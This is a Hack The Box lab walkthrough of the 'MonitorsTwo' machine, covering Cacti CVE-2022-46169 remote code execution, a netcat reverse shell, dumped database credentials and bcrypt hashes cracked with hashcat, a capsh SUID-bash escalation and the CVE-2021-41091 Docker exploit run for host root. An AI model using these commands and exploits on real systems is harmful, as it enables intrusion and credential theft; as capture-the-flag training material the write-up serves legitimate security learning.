HTB: MonitorsTwo - Easy

Note

This is an older box I completed with limited notes. While the documentation isn’t extensive, I hope this writeup helps if you’re stuck or just enjoy reading about different approaches to solving machines.

Enumeration

I began enumeration with a basic nmap scan: nmap -A -Pn 10.129.170.246 | tee nmapscan.log

kali@attacker:~/monitorstwo$ nmap -A 10.129.170.246 | tee nmapscan.log  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-08 11:27 CEST  
Nmap scan report for 10.129.170.246  
Host is up (0.015s latency).  
Not shown: 998 closed tcp ports (conn-refused)  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)  
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)  
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)  
80/tcp open  http    nginx 1.18.0 (Ubuntu)  
|_http-server-header: nginx/1.18.0 (Ubuntu)  
|_http-title: Login to Cacti  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds

The scan revealed a web application identified as cacti:

I attempted to access the cacti application using known default credentials:

• admin/admin
• admin/cactipw
• cactipw/cactipw

However, none of these default combinations provided access.

Exploitation

During research, I discovered the following exploit:

[GitHub - ariyaadinatha/cacti-cve-2022-46169-exploit: This is poc of CVE-2022-46169 authentication bypass and remote code execution

This is poc of CVE-2022-46169 authentication bypass and remote code execution - ariyaadinatha/cacti-cve-2022-46169-exploit

GitHubariyaadinatha

](https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit?ref=tiem.io)

The exploit was executed using this syntax:

Syntax for payload: python3 cacti.py

• Enter: target ip
• Enter local ip
• Enter listening port

Executing the exploit produced these results:

[..]            
Delivering payload...

Before running the exploit, I set up a listener with nc -lvnp 1234. Upon executing the exploit, a reverse shell connection was established to the target machine.

connect to [10.10.14.51] from (UNKNOWN) [10.129.170.246] 52478  
bash: cannot set terminal process group (1): Inappropriate ioctl for device  
bash: no job control in this shell  
www-data@50bca5e748b0:/var/www/html$ whoami  
whoami  
www-data

Privilege Escalation Enumeration

To improve our shell stability, I used the following command:

python3 -c 'import pty;pty.spawn("/bin/bash")'

In the root directory, we discovered two notable items:

1. A .dockerenv file, indicating we’re inside a Docker container
2. An entrypoint.sh file that might contain valuable information:

#!/bin/bash  
set -ex  
  
wait-for-it db:3306 -t 300 -- echo "database is connected"  
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then  
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql  
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"  
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"  
fi  
  
chown www-data:www-data -R /var/www/html  
# first arg is `-f` or `--some-option`  
if [ "${1#-}" != "$1" ]; then  
        set -- apache2-foreground "$@"  
fi  
  
exec "$@"

The entrypoint.sh file revealed the presence of a MySQL database.

Horizontal Privilege Escalation

I connected to the MySQL database using this command:

mysql --host=db -u root -p

And entering the information that we aquired.

After connecting to MySQL with the acquired credentials, I queried the database and discovered several bcrypt hashes:

• admin, admin@monitorstwo.htb hash:
  $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
• marcus, marcus@monitorstwo.htb hash:
  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

To crack the bcrypt hashes with hashcat, I used mode 3200 with the following syntax:

hashcat -m 3200 hash.left --wordlist rockyou.txt -O

After the hash cracking completed, we obtained the following plaintext password:

$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C fu***ey

Using the cracked password, I established an SSH connection to the machine as user marcus:

ssh marcus@monitorstwo.htb
pass: funk******key

Vertical Privilege Escalation

After gaining access as marcus, we already knew from the .dockerenv file that we were operating within a Docker container.

Running docker --version showed we were using Docker version 20.10.5+dfsg1, build 55c4c88. Research for vulnerabilities in this version led us to this proof of concept:

[GitHub - UncleJ4ck/CVE-2021-41091: POC for CVE-2021-41091

POC for CVE-2021-41091. Contribute to UncleJ4ck/CVE-2021-41091 development by creating an account on GitHub.

GitHubUncleJ4ck

](https://github.com/UncleJ4ck/CVE-2021-41091?ref=tiem.io)

1. First, gained root access in the Docker container using docker exec
2. Then ran linpeas.sh inside the container, which led to a privilege escalation using capsh found in GTFObins

[capsh | GTFOBins

GTFOBins](https://gtfobins.github.io/gtfobins/capsh/?ref=tiem.io)

The privilege escalation was achieved using this syntax inside the docker container:

./capsh --gid=0 --uid=0 --
`chmod u+s /bin/bash`

With elevated privileges, I executed the exploit for CVE-2021-41091:

git clone https://github.com/UncleJ4ck/CVE-2021-41091
cd CVE-2021-41091
chmod +x ./poc.sh
./poc.sh

The exploit revealed a path, which we used to gain root access by running ./bin/bash -p:

marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p

Successfully obtained root access on the host system.

bash-5.1# cat /root/root.txt  
fba2***e5